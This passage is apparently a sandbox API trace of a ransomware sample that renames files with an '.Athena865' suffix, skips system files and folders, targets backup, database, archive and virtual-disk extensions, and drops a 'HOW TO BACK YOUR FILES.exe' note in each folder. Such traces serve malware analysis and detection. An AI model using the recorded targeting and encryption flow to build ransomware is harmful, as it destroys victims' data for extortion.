(lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25214) returned 1 [0098.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0098.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0098.033] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.033] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.033] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x154 [0098.036] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000 [0098.038] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0098.038] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.038] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.039] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.039] CloseHandle (hObject=0x154) returned 1 [0098.039] CloseHandle (hObject=0x17c) returned 1 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0098.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.040] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="..") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="windows") returned -1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="bootmgr") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="temp") returned -1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="pagefile.sys") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="boot") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="ids.txt") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="ntuser.dat") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="perflogs") returned 1 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="MSBuild") returned 1 [0098.040] lstrlenW (lpString="SharePointTeamSite.ico") returned 22 [0098.040] lstrcpyW (in: lpString1=0x241e888, lpString2="SharePointTeamSite.ico" | out: lpString1="SharePointTeamSite.ico") returned="SharePointTeamSite.ico" [0098.040] lstrlenW (lpString="SharePointTeamSite.ico") returned 22 [0098.040] lstrlenW (lpString="Athena865") returned 9 [0098.040] lstrcmpiW (lpString1="mSite.ico", lpString2="Athena865") returned 1 [0098.040] lstrlenW (lpString=".dll") returned 4 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".dll") returned 1 [0098.040] lstrlenW (lpString=".lnk") returned 4 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".lnk") returned 1 [0098.040] lstrlenW (lpString=".ini") returned 4 [0098.040] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".ini") returned 1 [0098.040] lstrlenW (lpString=".sys") returned 4 [0098.041] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".sys") returned 1 [0098.041] lstrlenW (lpString="SharePointTeamSite.ico") returned 22 [0098.041] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Athena865") returned 64 [0098.041] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico.athena865"), dwFlags=0x1) returned 1 [0098.041] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.042] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25214) returned 1 [0098.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0098.042] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0098.043] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.043] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.043] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x154 [0098.044] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000 [0098.046] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0098.047] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.047] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.048] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.048] CloseHandle (hObject=0x154) returned 1 [0098.048] CloseHandle (hObject=0x17c) returned 1 [0098.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0098.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.048] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0098.048] lstrcmpiW (lpString1="UICaptions", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.048] lstrcmpiW (lpString1="UICaptions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.048] lstrcmpiW (lpString1="UICaptions", lpString2=".") returned 1 [0098.048] lstrcmpiW (lpString1="UICaptions", lpString2="..") returned 1 [0098.048] lstrcmpiW (lpString1="UICaptions", lpString2="windows") returned -1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="bootmgr") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="temp") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="pagefile.sys") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="boot") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="ids.txt") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="ntuser.dat") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="perflogs") returned 1 [0098.049] lstrcmpiW (lpString1="UICaptions", lpString2="MSBuild") returned 1 [0098.049] lstrlenW (lpString="UICaptions") returned 10 [0098.049] lstrcpyW (in: lpString1=0x241e888, lpString2="UICaptions" | out: lpString1="UICaptions") returned="UICaptions" [0098.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c80 [0098.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52f920 [0098.049] lstrcatW (in: lpString1="UICaptions", lpString2="\\" | out: lpString1="UICaptions\\") returned="UICaptions\\" [0098.049] lstrcatW (in: lpString1="UICaptions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="UICaptions\\HOW TO BACK YOUR FILES.exe") returned="UICaptions\\HOW TO BACK YOUR FILES.exe" [0098.049] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.052] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0098.052] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.052] ReleaseMutex (hMutex=0xec) returned 1 [0098.052] CloseHandle (hObject=0xec) returned 1 [0098.052] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0098.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501f28 | out: hHeap=0x4f0000) returned 1 [0098.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c98 | out: hHeap=0x4f0000) returned 1 [0098.052] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 57 [0098.052] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AFCA10ED33F4157436E93986A8B313A6") returned 0xec [0098.052] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.052] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0098.052] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.052] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.053] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.053] GetLastError () returned 0x0 [0098.053] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.053] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.054] CloseHandle (hObject=0xf4) returned 1 [0098.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.054] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.054] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.054] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.054] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.054] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.055] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.055] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.055] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.055] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1 [0098.055] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1 [0098.055] lstrlenW (lpString="Cache") returned 5 [0098.055] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Cache" | out: lpString1="Cache") returned="Cache" [0098.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c98 [0098.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519ff8 [0098.055] lstrcatW (in: lpString1="Cache", lpString2="\\" | out: lpString1="Cache\\") returned="Cache\\" [0098.055] lstrcatW (in: lpString1="Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cache\\HOW TO BACK YOUR FILES.exe") returned="Cache\\HOW TO BACK YOUR FILES.exe" [0098.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.058] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.058] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.058] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2=".") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="..") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="windows") returned -1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="bootmgr") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="temp") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="pagefile.sys") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="boot") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="ids.txt") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="ntuser.dat") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="perflogs") returned 1 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2="MSBuild") returned 1 [0098.058] lstrlenW (lpString="tokens.dat") returned 10 [0098.058] lstrcpyW (in: lpString1=0x241e8bc, lpString2="tokens.dat" | out: lpString1="tokens.dat") returned="tokens.dat" [0098.058] lstrlenW (lpString="tokens.dat") returned 10 [0098.058] lstrlenW (lpString="Athena865") returned 9 [0098.058] lstrcmpiW (lpString1="okens.dat", lpString2="Athena865") returned 1 [0098.058] lstrlenW (lpString=".dll") returned 4 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2=".dll") returned 1 [0098.058] lstrlenW (lpString=".lnk") returned 4 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2=".lnk") returned 1 [0098.058] lstrlenW (lpString=".ini") returned 4 [0098.058] lstrcmpiW (lpString1="tokens.dat", lpString2=".ini") returned 1 [0098.058] lstrlenW (lpString=".sys") returned 4 [0098.059] lstrcmpiW (lpString1="tokens.dat", lpString2=".sys") returned 1 [0098.059] lstrlenW (lpString="tokens.dat") returned 10 [0098.059] lstrlenW (lpString="bak") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0098.059] lstrlenW (lpString="ba_") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0098.059] lstrlenW (lpString="dbb") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0098.059] lstrlenW (lpString="vmdk") returned 4 [0098.059] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0098.059] lstrlenW (lpString="rar") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0098.059] lstrlenW (lpString="zip") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0098.059] lstrlenW (lpString="tgz") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0098.059] lstrlenW (lpString="vbox") returned 4 [0098.059] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0098.059] lstrlenW (lpString="vdi") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0098.059] lstrlenW (lpString="vhd") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0098.059] lstrlenW (lpString="vhdx") returned 4 [0098.059] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0098.059] lstrlenW (lpString="avhd") returned 4 [0098.059] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0098.059] lstrlenW (lpString="db") returned 2 [0098.059] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0098.059] lstrlenW (lpString="db2") returned 3 [0098.059] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0098.060] lstrlenW (lpString="db3") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0098.060] lstrlenW (lpString="dbf") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0098.060] lstrlenW (lpString="mdf") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0098.060] lstrlenW (lpString="mdb") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0098.060] lstrlenW (lpString="sql") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0098.060] lstrlenW (lpString="sqlite") returned 6 [0098.060] lstrcmpiW (lpString1="ns.dat", lpString2="sqlite") returned -1 [0098.060] lstrlenW (lpString="sqlite3") returned 7 [0098.060] lstrcmpiW (lpString1="ens.dat", lpString2="sqlite3") returned -1 [0098.060] lstrlenW (lpString="sqlitedb") returned 8 [0098.060] lstrcmpiW (lpString1="kens.dat", lpString2="sqlitedb") returned -1 [0098.060] lstrlenW (lpString="xml") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0098.060] lstrlenW (lpString="$er") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0098.060] lstrlenW (lpString="4dd") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0098.060] lstrlenW (lpString="4dl") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0098.060] lstrlenW (lpString="^^^") returned 3 [0098.060] lstrcmpiW 